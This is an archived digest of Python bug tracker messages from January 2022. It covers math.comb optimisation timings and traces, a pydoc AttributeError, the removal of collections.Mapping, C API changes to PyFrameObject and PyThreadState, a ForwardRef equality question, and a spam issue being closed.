<1641967418.72.0.191266403013.issue46352@roundup.psfhosted.org> Change by Dennis Sweeney : ---------- components: -Installation nosy: -jacobmartin717 resolution: -> not a bug stage: -> resolved status: open -> closed title: Steps To Do Arlo Setup -> Spam type: security -> versions: -Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 03:09:46 2022 From: report at bugs.python.org (=?utf-8?b?TWljaGHFgiBHw7Nybnk=?=) Date: Wed, 12 Jan 2022 08:09:46 +0000 Subject: [issue39298] add BLAKE3 to hashlib In-Reply-To: <1578716860.16.0.194711020268.issue39298@roundup.psfhosted.org> Message-ID: <1641974986.56.0.466265635285.issue39298@roundup.psfhosted.org> Micha? G?rny added the comment: I would still find it helpful to have a "proper" "blake3-c" package on normal pypi, for those of us who can't rely on Rust being present immediately. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 03:20:16 2022 From: report at bugs.python.org (Raymond Hettinger) Date: Wed, 12 Jan 2022 08:20:16 +0000 Subject: [issue37295] Possible optimizations for math.comb() In-Reply-To: <1560626260.31.0.393863097125.issue37295@roundup.psfhosted.org> Message-ID: <1641975616.2.0.910449572212.issue37295@roundup.psfhosted.org> Raymond Hettinger added the comment: Ran some timings on the pure python version with and without the precomputed diagonal: [C(n, k) for k in range(n+1)] New Code Baseline --------- --------- n=85 156 usec 160 usec n=137 632 usec 1.82 msec n=156 1.01 msec 4.01 msec n=183 1.58 msec 7.06 msec n=212 2.29 msec 10.4 msec n=251 7.07 msec 15.6 msec n=311 19.6 msec 25.5 msec n=1001 314 msec 471 msec As expected, the best improvement comes in the range of the precomputed combinations: C(129, 20) through C(250, 20). To get a better idea of where the benefit is coming from, here is a trace from the recursive part of the new code: >>> C(240, 112) C(240, 112) = C(240, 20) * C(220, 92) // C(112, 20) C(220, 92) = C(220, 20) * C(200, 72) // C(92, 20) C(200, 72) = C(200, 20) * C(180, 52) // C(72, 20) C(180, 52) = C(180, 20) * C(160, 32) // C(52, 20) C(160, 32) = C(160, 20) * C(140, 12) // C(32, 20) C(140, 12) = C(140, 6) * C(134, 6) // C(12, 6) C(140, 6) = C(140, 3) * C(137, 3) // C(6, 3) C(140, 3) = C(140, 1) * C(139, 2) // C(3, 1) C(139, 2) = C(139, 1) * C(138, 1) // C(2, 1) C(137, 3) = C(137, 1) * C(136, 2) // C(3, 1) C(136, 2) = C(136, 1) * C(135, 1) // C(2, 1) C(134, 6) = C(134, 3) * C(131, 3) // C(6, 3) C(134, 3) = C(134, 1) * C(133, 2) // C(3, 1) C(133, 2) = C(133, 1) * C(132, 1) // C(2, 1) C(131, 3) = C(131, 1) * C(130, 2) // C(3, 1) C(130, 2) = C(130, 1) * C(129, 1) // C(2, 1) 53425668586973006090333976236624193248148570813984466591034254245235155 Here is a trace for the old code without the precomputed diagonal: >>> C(240, 112) C(240, 112) = C(240, 56) * C(184, 56) // C(112, 56) C(240, 56) = C(240, 28) * C(212, 28) // C(56, 28) C(240, 28) = C(240, 14) * C(226, 14) // C(28, 14) C(240, 14) = C(240, 7) * C(233, 7) // C(14, 7) C(240, 7) = C(240, 3) * C(237, 4) // C(7, 3) C(240, 3) = C(240, 1) * C(239, 2) // C(3, 1) C(239, 2) = C(239, 1) * C(238, 1) // C(2, 1) C(237, 4) = C(237, 2) * C(235, 2) // C(4, 2) C(237, 2) = C(237, 1) * C(236, 1) // C(2, 1) C(235, 2) = C(235, 1) * C(234, 1) // C(2, 1) C(233, 7) = C(233, 3) * C(230, 4) // C(7, 3) C(233, 3) = C(233, 1) * C(232, 2) // C(3, 1) C(232, 2) = C(232, 1) * C(231, 1) // C(2, 1) C(230, 4) = C(230, 2) * C(228, 2) // C(4, 2) C(230, 2) = C(230, 1) * C(229, 1) // C(2, 1) C(228, 2) = C(228, 1) * C(227, 1) // C(2, 1) C(226, 14) = C(226, 7) * C(219, 7) // C(14, 7) C(226, 7) = C(226, 3) * C(223, 4) // C(7, 3) C(226, 3) = C(226, 1) * C(225, 2) // C(3, 1) C(225, 2) = C(225, 1) * C(224, 1) // C(2, 1) C(223, 4) = C(223, 2) * C(221, 2) // C(4, 2) C(223, 2) = C(223, 1) * C(222, 1) // C(2, 1) C(221, 2) = C(221, 1) * C(220, 1) // C(2, 1) C(219, 7) = C(219, 3) * C(216, 4) // C(7, 3) C(219, 3) = C(219, 1) * C(218, 2) // C(3, 1) C(218, 2) = C(218, 1) * C(217, 1) // C(2, 1) C(216, 4) = C(216, 2) * C(214, 2) // C(4, 2) C(216, 2) = C(216, 1) * C(215, 1) // C(2, 1) C(214, 2) = C(214, 1) * C(213, 1) // C(2, 1) C(212, 28) = C(212, 14) * C(198, 14) // C(28, 14) C(212, 14) = C(212, 7) * C(205, 7) // C(14, 7) C(212, 7) = C(212, 3) * C(209, 4) // C(7, 3) C(212, 3) = C(212, 1) * C(211, 2) // C(3, 1) C(211, 2) = C(211, 1) * C(210, 1) // C(2, 1) C(209, 4) = C(209, 2) * C(207, 2) // C(4, 2) C(209, 2) = C(209, 1) * C(208, 1) // C(2, 1) C(207, 2) = C(207, 1) * C(206, 1) // C(2, 1) C(205, 7) = C(205, 3) * C(202, 4) // C(7, 3) C(205, 3) = C(205, 1) * C(204, 2) // C(3, 1) C(204, 2) = C(204, 1) * C(203, 1) // C(2, 1) C(202, 4) = C(202, 2) * C(200, 2) // C(4, 2) C(202, 2) = C(202, 1) * C(201, 1) // C(2, 1) C(200, 2) = C(200, 1) * C(199, 1) // C(2, 1) C(198, 14) = C(198, 7) * C(191, 7) // C(14, 7) C(198, 7) = C(198, 3) * C(195, 4) // C(7, 3) C(198, 3) = C(198, 1) * C(197, 2) // C(3, 1) C(197, 2) = C(197, 1) * C(196, 1) // C(2, 1) C(195, 4) = C(195, 2) * C(193, 2) // C(4, 2) C(195, 2) = C(195, 1) * C(194, 1) // C(2, 1) C(193, 2) = C(193, 1) * C(192, 1) // C(2, 1) C(191, 7) = C(191, 3) * C(188, 4) // C(7, 3) C(191, 3) = C(191, 1) * C(190, 2) // C(3, 1) C(190, 2) = C(190, 1) * C(189, 1) // C(2, 1) C(188, 4) = C(188, 2) * C(186, 2) // C(4, 2) C(188, 2) = C(188, 1) * C(187, 1) // C(2, 1) C(186, 2) = C(186, 1) * C(185, 1) // C(2, 1) C(184, 56) = C(184, 28) * C(156, 28) // C(56, 28) C(184, 28) = C(184, 14) * C(170, 14) // C(28, 14) C(184, 14) = C(184, 7) * C(177, 7) // C(14, 7) C(184, 7) = C(184, 3) * C(181, 4) // C(7, 3) C(184, 3) = C(184, 1) * C(183, 2) // C(3, 1) C(183, 2) = C(183, 1) * C(182, 1) // C(2, 1) C(181, 4) = C(181, 2) * C(179, 2) // C(4, 2) C(181, 2) = C(181, 1) * C(180, 1) // C(2, 1) C(179, 2) = C(179, 1) * C(178, 1) // C(2, 1) C(177, 7) = C(177, 3) * C(174, 4) // C(7, 3) C(177, 3) = C(177, 1) * C(176, 2) // C(3, 1) C(176, 2) = C(176, 1) * C(175, 1) // C(2, 1) C(174, 4) = C(174, 2) * C(172, 2) // C(4, 2) C(174, 2) = C(174, 1) * C(173, 1) // C(2, 1) C(172, 2) = C(172, 1) * C(171, 1) // C(2, 1) C(170, 14) = C(170, 7) * C(163, 7) // C(14, 7) C(170, 7) = C(170, 3) * C(167, 4) // C(7, 3) C(170, 3) = C(170, 1) * C(169, 2) // C(3, 1) C(169, 2) = C(169, 1) * C(168, 1) // C(2, 1) C(167, 4) = C(167, 2) * C(165, 2) // C(4, 2) C(167, 2) = C(167, 1) * C(166, 1) // C(2, 1) C(165, 2) = C(165, 1) * C(164, 1) // C(2, 1) C(163, 7) = C(163, 3) * C(160, 4) // C(7, 3) C(163, 3) = C(163, 1) * C(162, 2) // C(3, 1) C(162, 2) = C(162, 1) * C(161, 1) // C(2, 1) C(160, 4) = C(160, 2) * C(158, 2) // C(4, 2) C(160, 2) = C(160, 1) * C(159, 1) // C(2, 1) C(158, 2) = C(158, 1) * C(157, 1) // C(2, 1) C(156, 28) = C(156, 14) * C(142, 14) // C(28, 14) C(156, 14) = C(156, 7) * C(149, 7) // C(14, 7) C(156, 7) = C(156, 3) * C(153, 4) // C(7, 3) C(156, 3) = C(156, 1) * C(155, 2) // C(3, 1) C(155, 2) = C(155, 1) * C(154, 1) // C(2, 1) C(153, 4) = C(153, 2) * C(151, 2) // C(4, 2) C(153, 2) = C(153, 1) * C(152, 1) // C(2, 1) C(151, 2) = C(151, 1) * C(150, 1) // C(2, 1) C(149, 7) = C(149, 3) * C(146, 4) // C(7, 3) C(149, 3) = C(149, 1) * C(148, 2) // C(3, 1) C(148, 2) = C(148, 1) * C(147, 1) // C(2, 1) C(146, 4) = C(146, 2) * C(144, 2) // C(4, 2) C(146, 2) = C(146, 1) * C(145, 1) // C(2, 1) C(144, 2) = C(144, 1) * C(143, 1) // C(2, 1) C(142, 14) = C(142, 7) * C(135, 7) // C(14, 7) C(142, 7) = C(142, 3) * C(139, 4) // C(7, 3) C(142, 3) = C(142, 1) * C(141, 2) // C(3, 1) C(141, 2) = C(141, 1) * C(140, 1) // C(2, 1) C(139, 4) = C(139, 2) * C(137, 2) // C(4, 2) C(139, 2) = C(139, 1) * C(138, 1) // C(2, 1) C(137, 2) = C(137, 1) * C(136, 1) // C(2, 1) C(135, 7) = C(135, 3) * C(132, 4) // C(7, 3) C(135, 3) = C(135, 1) * C(134, 2) // C(3, 1) C(134, 2) = C(134, 1) * C(133, 1) // C(2, 1) C(132, 4) = C(132, 2) * C(130, 2) // C(4, 2) C(132, 2) = C(132, 1) * C(131, 1) // C(2, 1) C(130, 2) = C(130, 1) * C(129, 1) // C(2, 1) C(112, 56) = C(112, 28) * C(84, 28) // C(56, 28) C(112, 28) = C(112, 14) * C(98, 14) // C(28, 14) C(84, 28) = C(84, 14) * C(70, 14) // C(28, 14) 53425668586973006090333976236624193248148570813984466591034254245235155 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 03:53:18 2022 From: report at bugs.python.org (Denis Laxalde) Date: Wed, 12 Jan 2022 08:53:18 +0000 Subject: [issue46353] 'pydoc -k' crashes when some module's loader is not found Message-ID: <1641977598.42.0.091371841843.issue46353@roundup.psfhosted.org> New submission from Denis Laxalde : On my (Debian 10) system, 'pydoc -k' crashes as follows: $ python3 -m pydoc -k foo Traceback (most recent call last): File "/usr/lib/python3.9/runpy.py", line 197, in _run_module_as_main return _run_code(code, main_globals, None, File "/usr/lib/python3.9/runpy.py", line 87, in _run_code exec(code, run_globals) File "/usr/lib/python3.9/pydoc.py", line 2862, in cli() File "/usr/lib/python3.9/pydoc.py", line 2795, in cli apropos(val) File "/usr/lib/python3.9/pydoc.py", line 2287, in apropos ModuleScanner().run(callback, key, onerror=onerror) File "/usr/lib/python3.9/pydoc.py", line 2248, in run loader = spec.loader AttributeError: 'NoneType' object has no attribute 'loader' (The same happens with current 'main' of CPython.) The module that is tried to be loaded is 'ansible.galaxy.data', installed in /usr/lib/python3/dist-packages/ and it uses a custom (Ansible) finder _AnsiblePathHookFinder. Maybe this finder has problems, but since Finder.find_module() may return None, I believe this should be handled by pydoc's ModuleScanner. If agreed, I'll prepare a fix accordingly. ---------- components: Library (Lib) messages: 410388 nosy: dlax priority: normal severity: normal status: open title: 'pydoc -k' crashes when some module's loader is not found type: crash versions: Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 04:17:29 2022 From: report at bugs.python.org (Christian Heimes) Date: Wed, 12 Jan 2022 09:17:29 +0000 Subject: [issue46353] 'pydoc -k' fails when some module's loader is not found In-Reply-To: <1641977598.42.0.091371841843.issue46353@roundup.psfhosted.org> Message-ID: <1641979049.49.0.0406039750987.issue46353@roundup.psfhosted.org> Christian Heimes added the comment: An exception is not a crash. We reserve the word "crash" for segfaults. ---------- nosy: +christian.heimes title: 'pydoc -k' crashes when some module's loader is not found -> 'pydoc -k' fails when some module's loader is not found type: crash -> behavior _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 05:19:18 2022 From: report at bugs.python.org (Julien Palard) Date: Wed, 12 Jan 2022 10:19:18 +0000 Subject: [issue45729] [doc] "history and license" link has wrong target In-Reply-To: <1636128373.81.0.436284013167.issue45729@roundup.psfhosted.org> Message-ID: <1641982758.48.0.293057928606.issue45729@roundup.psfhosted.org> Julien Palard added the comment: I checked on docs.python.org and it's fixed. ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 05:19:38 2022 From: report at bugs.python.org (Eric V. Smith) Date: Wed, 12 Jan 2022 10:19:38 +0000 Subject: [issue46352] Spam Message-ID: <1641982778.27.0.985713337089.issue46352@roundup.psfhosted.org> Change by Eric V. Smith : Removed file: https://bugs.python.org/file50558/Arlo camera setup.jpg _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 06:19:43 2022 From: report at bugs.python.org (Andrew Svetlov) Date: Wed, 12 Jan 2022 11:19:43 +0000 Subject: [issue46335] asyncio.create_subprocess_exec throws RuntimeError yet still executes subprogram In-Reply-To: <1641840953.56.0.83398324511.issue46335@roundup.psfhosted.org> Message-ID: <1641986383.45.0.40754763175.issue46335@roundup.psfhosted.org> Andrew Svetlov added the comment: Yes, your environment is clear. As I see from traceback, you are stuck not with new process creation but with new thread starting. The thread is used for waiting for the started process to finish. It is the default configuration. Maybe you need an alternative ChildWatcher setup by `asyncio.get_event_loop_policy().set_child_watcher(watcher)` call. A relatively fresh Linux can use `PidfdChildWatcher`. `MultiLoopChildWatcher` is cross-platform. `SafeChildWatcher` is the oldest and simplest implementation. Please choose one and see how it works for you. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 07:13:35 2022 From: report at bugs.python.org (Ned Batchelder) Date: Wed, 12 Jan 2022 12:13:35 +0000 Subject: [issue46331] 3.11: tracing revisits class line after class docstring In-Reply-To: <1641824277.2.0.130093951073.issue46331@roundup.psfhosted.org> Message-ID: <1641989615.03.0.652174857734.issue46331@roundup.psfhosted.org> Ned Batchelder added the comment: Yes, thanks, this fixes it. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 07:14:06 2022 From: report at bugs.python.org (Ned Batchelder) Date: Wed, 12 Jan 2022 12:14:06 +0000 Subject: [issue46314] Stray RESUME opcode for unused lambda In-Reply-To: <1641739204.02.0.251186748791.issue46314@roundup.psfhosted.org> Message-ID: <1641989646.09.0.0869220561014.issue46314@roundup.psfhosted.org> Ned Batchelder added the comment: This fixes the problems I was seeing, thanks. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 07:36:55 2022 From: report at bugs.python.org (Erlend E. Aasland) Date: Wed, 12 Jan 2022 12:36:55 +0000 Subject: [issue46331] 3.11: tracing revisits class line after class docstring In-Reply-To: <1641824277.2.0.130093951073.issue46331@roundup.psfhosted.org> Message-ID: <1641991015.97.0.569239914807.issue46331@roundup.psfhosted.org> Change by Erlend E. Aasland : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 07:38:07 2022 From: report at bugs.python.org (STINNER Victor) Date: Wed, 12 Jan 2022 12:38:07 +0000 Subject: [issue44133] Some C-API symbols (e.g. Py_FrozenMain) are not always exported In-Reply-To: <1621011524.07.0.0957325647121.issue44133@roundup.psfhosted.org> Message-ID: <1641991087.77.0.073113481542.issue44133@roundup.psfhosted.org> Change by STINNER Victor : ---------- pull_requests: +28757 pull_request: https://github.com/python/cpython/pull/30556 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 08:04:25 2022 From: report at bugs.python.org (Denis Laxalde) Date: Wed, 12 Jan 2022 13:04:25 +0000 Subject: [issue46353] 'pydoc -k' fails when some module's loader is not found In-Reply-To: <1641977598.42.0.091371841843.issue46353@roundup.psfhosted.org> Message-ID: <1641992665.88.0.890232939322.issue46353@roundup.psfhosted.org> Change by Denis Laxalde : ---------- keywords: +patch pull_requests: +28758 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30557 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 08:19:03 2022 From: report at bugs.python.org (Erlend E. Aasland) Date: Wed, 12 Jan 2022 13:19:03 +0000 Subject: [issue46314] Stray RESUME opcode for unused lambda In-Reply-To: <1641739204.02.0.251186748791.issue46314@roundup.psfhosted.org> Message-ID: <1641993543.57.0.778802028766.issue46314@roundup.psfhosted.org> Erlend E. Aasland added the comment: > This fixes the problems I was seeing, thanks. Good; removing release blocker status. Keeping this open until Mark has added a NEWS item. ---------- nosy: +erlendaasland priority: release blocker -> _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 08:21:28 2022 From: report at bugs.python.org (=?utf-8?q?Marek_=C4=BDach?=) Date: Wed, 12 Jan 2022 13:21:28 +0000 Subject: [issue46354] AttributeError: module 'collections' has no attribute 'Mapping' Message-ID: <1641993688.56.0.448916819449.issue46354@roundup.psfhosted.org> Change by Marek ?ach : ---------- nosy: mareklachbc priority: normal severity: normal status: open title: AttributeError: module 'collections' has no attribute 'Mapping' type: behavior versions: Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 08:38:07 2022 From: report at bugs.python.org (Alex Waygood) Date: Wed, 12 Jan 2022 13:38:07 +0000 Subject: [issue46354] AttributeError: module 'collections' has no attribute 'Mapping' Message-ID: <1641994687.84.0.265401111941.issue46354@roundup.psfhosted.org> New submission from Alex Waygood : Hi -- thanks for the report! You haven't given us many details here, but I think this is intentional behaviour, not a bug -- this was changed in Issue37324. Importing `Mapping` (along with many other names) directly from `collections`, instead of from `collections.abc`, has been deprecated since Python 3.3, and was removed in Python 3.10. So instead of writing `from collections import Mapping`, simply write `from collections.abc import Mapping`, and you should find that no error is raised. ---------- nosy: +AlexWaygood resolution: -> not a bug status: open -> pending _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 08:56:10 2022 From: report at bugs.python.org (Marc-Andre Lemburg) Date: Wed, 12 Jan 2022 13:56:10 +0000 Subject: [issue46249] [sqlite3] move set lastrowid out of the query loop and enable it for executemany() In-Reply-To: <1641933003.17.0.762276412664.issue46249@roundup.psfhosted.org> Message-ID: <78e57bc1-5b9f-4783-68e4-5e8619a16f2e@egenix.com> Marc-Andre Lemburg added the comment: On 11.01.2022 21:30, Erlend E. Aasland wrote: > >> I'd suggest to deprecate the cursor.lastrowid attribute and >> instead point people to the much more useful [...] > > Yes, I think mentioning the RETURNING ROWID trick in the sqlite3 docs is a very nice improvement. Mentioning the last_insert_rowid SQL function is probably also worth consideration. > > I'm reluctant to deprecate cursor.lastrowid, though. ATM, I'm leaning towards just keeping the current behaviour. Fair enough :-) Perhaps just documenting that the value is not necessarily what people may expect, when coming from other databases due to the different semantics with SQLite, is enough. -- Marc-Andre Lemburg eGenix.com ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 09:04:25 2022 From: report at bugs.python.org (Ken Jin) Date: Wed, 12 Jan 2022 14:04:25 +0000 Subject: [issue46333] ForwardRef.__eq__ does not respect module parameter In-Reply-To: <1641828029.13.0.319383260427.issue46333@roundup.psfhosted.org> Message-ID: <1641996265.15.0.00867139545282.issue46333@roundup.psfhosted.org> Ken Jin added the comment: @Andreas First of all, thanks for addressing my questions on the PR. I have one more question which I'll post here since it's not entirely related to your PR. ForwardRef isn't meant to be explicitly instantiated by a user [1] (it's a typing internal class), so do you mind sharing what your current use case is please? My concern here is that exposing things in __repr__ would force us to keep `module` forever (I'm 100% fine with __eq__ and __hash__). After digging up the commit history, I now recall that the module parameter was used solely as a fix for ForwardRefs in different-module TypedDict (see GH-27017 or bpo-41249). It's not used anywhere else, so I don't know if your current use case was ever intended when the module parameter was added. [1]: https://docs.python.org/3/library/typing.html#typing.ForwardRef ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 09:11:24 2022 From: report at bugs.python.org (STINNER Victor) Date: Wed, 12 Jan 2022 14:11:24 +0000 Subject: [issue46355] [C API] Document PyFrameObject and PyThreadState changes and explain how to port code to Python 3.11 Message-ID: <1641996684.93.0.427230565464.issue46355@roundup.psfhosted.org> New submission from STINNER Victor : Python 3.11 made many changes in PyFrameObject and PyThreadState structures. Code which accessed directly structure members doesn't build anymore. For example, "frame->f_code" is now fails because PyFrameObject.f_code member is done. I propose to document these changes and explain how to port code. I will write a documentation PR. == PyFrameObject changes == PyFrameObject now only creates a Python frame object on demand. * f_code: removed, use PyFrame_GetCode() instead, warning: it returns a strong reference (Py_DECREF is needed) * f_lineno: changed, use PyFrame_GetLineNumber() * f_back: changed, use PyFrame_GetBack() * f_builtins: removed, get the "f_builtins" attribute in Python * f_globals: removed, get the "f_globals" attribute in Python * f_locals: removed, get the "f_locals" attribute in Python * f_valuesstack: removed * f_stackdepth: removed * f_gen: removed * f_lasti: removed, get the "f_lasti" attribute in Python? * f_iblock: removed * f_state: removed * f_blockstack: removed * f_localsplus: removed Accessing f_lineno and f_back doesn't fail with a compiler error, but these members are filled lazily. If PyFrame_GetLineNumber() is not called, it can return 0 even if the frame is running and has a line number. If PyFrame_GetBack() is not called, f_back is NULL even if the frame has a next outer frame. == PyThreadState changes == * frame: removed, use PyThreadState_GetFrame(), warning: it returns a strong reference (Py_DECREF is needed) * recursion_depth: removed, use (tstate->recursion_limit - tstate->recursion_remaining) instead * stackcheck_counter: removed * tracing: changed, use PyThreadState_EnterTracing() and PyThreadState_LeaveTracing(), added by bpo-43760 == Notes == We should also explain how to get new C API functions, like PyFrame_GetCode(), on older Python, and maybe suggest to use pythoncapi_compat to get them: https://github.com/pythoncapi/pythoncapi_compat See also: * bpo-39947: "[C API] Make the PyThreadState structure opaque (move it to the internal C API)" * bpo-40421: "[C API] Add getter functions for PyFrameObject and maybe move PyFrameObject to the internal C API" * bpo-43760: "The DISPATCH() macro is not as efficient as it could be (move PyThreadState.use_tracing)" -- add PyThreadState_EnterTracing() ---------- components: C API messages: 410398 nosy: vstinner priority: normal severity: normal status: open title: [C API] Document PyFrameObject and PyThreadState changes and explain how to port code to Python 3.11 versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 09:15:23 2022 From: report at bugs.python.org (Steven D'Aprano) Date: Wed, 12 Jan 2022 14:15:23 +0000 Subject: [issue46354] AttributeError: module 'collections' has no attribute 'Mapping' In-Reply-To: <1641994687.84.0.265401111941.issue46354@roundup.psfhosted.org> Message-ID: <1641996923.27.0.707203419819.issue46354@roundup.psfhosted.org> Steven D'Aprano added the comment: Hi mareklachbc, What makes you think that this is a bug? Since at least version 3.7, you will have seen this warning: >>> import collections >>> collections.Mapping __main__:1: DeprecationWarning: Using or importing the ABCs from 'collections' instead of from 'collections.abc' is deprecated since Python 3.3,and in 3.9 it will stop working So this is not a bug. ---------- nosy: +steven.daprano stage: -> resolved status: pending -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 09:59:17 2022 From: report at bugs.python.org (STINNER Victor) Date: Wed, 12 Jan 2022 14:59:17 +0000 Subject: [issue46355] [C API] Document PyFrameObject and PyThreadState changes and explain how to port code to Python 3.11 In-Reply-To: <1641996684.93.0.427230565464.issue46355@roundup.psfhosted.org> Message-ID: <1641999557.73.0.875420637847.issue46355@roundup.psfhosted.org> Change by STINNER Victor : ---------- keywords: +patch pull_requests: +28759 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30558 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 10:08:32 2022 From: report at bugs.python.org (Christian Heimes) Date: Wed, 12 Jan 2022 15:08:32 +0000 Subject: [issue40280] Consider supporting emscripten/webassembly as a build target In-Reply-To: <1586848295.92.0.690921486188.issue40280@roundup.psfhosted.org> Message-ID: <1642000112.06.0.317634543071.issue40280@roundup.psfhosted.org> Christian Heimes added the comment: New changeset 43839ba438368a50f22f718d4ce8ce607c17046c by Christian Heimes in branch 'main': bpo-40280: Add --with-emscripten-target to build for browser or node (GH-30552) https://github.com/python/cpython/commit/43839ba438368a50f22f718d4ce8ce607c17046c ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 10:19:37 2022 From: report at bugs.python.org (STINNER Victor) Date: Wed, 12 Jan 2022 15:19:37 +0000 Subject: [issue44133] Some C-API symbols (e.g. Py_FrozenMain) are not always exported In-Reply-To: <1621011524.07.0.0957325647121.issue44133@roundup.psfhosted.org> Message-ID: <1642000777.29.0.376498488785.issue44133@roundup.psfhosted.org> STINNER Victor added the comment: > On Solaris (and most likely several other platforms), `PyThread_get_thread_native_id` is also not available. Oh, I added an explicit test for that in my PR 30556. > `Py_FrozenMain` should be added to stable ABI I suggest to first fix the issue (export the symbol), and then write a second PR to add it to the stable ABI. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 10:23:32 2022 From: report at bugs.python.org (Wade Carpenter) Date: Wed, 12 Jan 2022 15:23:32 +0000 Subject: [issue46292] Add microseconds to logging.LogRecord In-Reply-To: <1641564710.75.0.603666211799.issue46292@roundup.psfhosted.org> Message-ID: <1642001012.03.0.973328426854.issue46292@roundup.psfhosted.org> Change by Wade Carpenter : ---------- nosy: +arwade _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 10:29:19 2022 From: report at bugs.python.org (Eric Snow) Date: Wed, 12 Jan 2022 15:29:19 +0000 Subject: [issue46320] runtime/interp/thread state refactoring leads to segmentation fault In-Reply-To: <1641761312.51.0.52946214208.issue46320@roundup.psfhosted.org> Message-ID: <1642001359.82.0.439858397859.issue46320@roundup.psfhosted.org> Eric Snow added the comment: I'm glad we were able to figure it out relatively quickly...and without any big headaches. :) And thanks for testing against the alpha releases!!! You're having a positive impact. ---------- resolution: -> not a bug _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 10:33:01 2022 From: report at bugs.python.org (STINNER Victor) Date: Wed, 12 Jan 2022 15:33:01 +0000 Subject: [issue46356] [C API] Enforce usage of PyFrame_GetBack() Message-ID: <1642001581.89.0.653777729997.issue46356@roundup.psfhosted.org> New submission from STINNER Victor : C extensions written for Python 3.10 and older which access directly to the PyFrameObject.f_back member build successfully on Python 3.11, but they can fail because f_back must not be read directly. f_back can be NULL even if the frame has an outer frame. PyFrameObject* PyFrame_GetBack(PyFrameObject *frame) { assert(frame != NULL); PyFrameObject *back = frame->f_back; if (back == NULL && frame->f_frame->previous != NULL) { back = _PyFrame_GetFrameObject(frame->f_frame->previous); } Py_XINCREF(back); return back; } I suggest to remove or "hide" this member from the structure. For example, rename "f_back" to "_f_back" to advice developers to not access it directly. See also bpo-46355: Document PyFrameObject and PyThreadState changes. ---------- components: C API messages: 410403 nosy: Mark.Shannon, vstinner priority: normal severity: normal status: open title: [C API] Enforce usage of PyFrame_GetBack() versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 10:36:25 2022 From: report at bugs.python.org (STINNER Victor) Date: Wed, 12 Jan 2022 15:36:25 +0000 Subject: [issue46355] [C API] Document PyFrameObject and PyThreadState changes and explain how to port code to Python 3.11 In-Reply-To: <1641996684.93.0.427230565464.issue46355@roundup.psfhosted.org> Message-ID: <1642001785.81.0.123944902758.issue46355@roundup.psfhosted.org> STINNER Victor added the comment: > f_lineno: changed, use PyFrame_GetLineNumber() Oh I was wrong, PyFrame_GetLineNumber() code is the same in Python 3.10. It was already a bad idea to read directly the f_lineno member in Python 3.10: PyFrame_GetLineNumber() should always be called. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 10:39:13 2022 From: report at bugs.python.org (STINNER Victor) Date: Wed, 12 Jan 2022 15:39:13 +0000 Subject: [issue46356] [C API] Enforce usage of PyFrame_GetBack() In-Reply-To: <1642001581.89.0.653777729997.issue46356@roundup.psfhosted.org> Message-ID: <1642001953.35.0.523481541809.issue46356@roundup.psfhosted.org> STINNER Victor added the comment: It's unclear to me if the ability to read directly the PyFrameObject.f_lineno member is a deliberate use case, or if we should enforce the usage of PyFrame_GetLineNumber(). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 10:42:24 2022 From: report at bugs.python.org (Silver Jublee Gaming) Date: Wed, 12 Jan 2022 15:42:24 +0000 Subject: [issue46356] [C API] Enforce usage of PyFrame_GetBack() In-Reply-To: <1642001581.89.0.653777729997.issue46356@roundup.psfhosted.org> Message-ID: <1642002144.69.0.967158998549.issue46356@roundup.psfhosted.org> Silver Jublee Gaming added the comment: This must be normal ---------- nosy: +silverjubleegaming _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 11:01:20 2022 From: report at bugs.python.org (Andreas H.) Date: Wed, 12 Jan 2022 16:01:20 +0000 Subject: [issue46333] ForwardRef.__eq__ does not respect module parameter In-Reply-To: <1641828029.13.0.319383260427.issue46333@roundup.psfhosted.org> Message-ID: <1642003280.47.0.231004587762.issue46333@roundup.psfhosted.org> Andreas H. added the comment: Yeah, sure. The use-case is (de)serialization. Right now I use the library cattr, but there are many others. If you are interested there is related discussion in the cattr board [1]. The original problem is how to define the types for serialization. 1. If everything is a class, things work well, but not if type aliases are used: 2. Type aliases sometimes have to be used - they cannot be avoided in all cases, especially with recursive types. The famous example is Json = Union[ List['Json'], Dict[str, 'Json'], int, float, bool, None ] (Note: even though mypy does not support this construct, pylance meanwhile does [2]) 3. `typing.Annotated` seems to be made for specifying additional information such as value ranges, right to be used in (de)serialization + validation contexts. Often these will just be type aliases (not used as class members). Combination is possible with typing.NewType. The problem is that the implicit 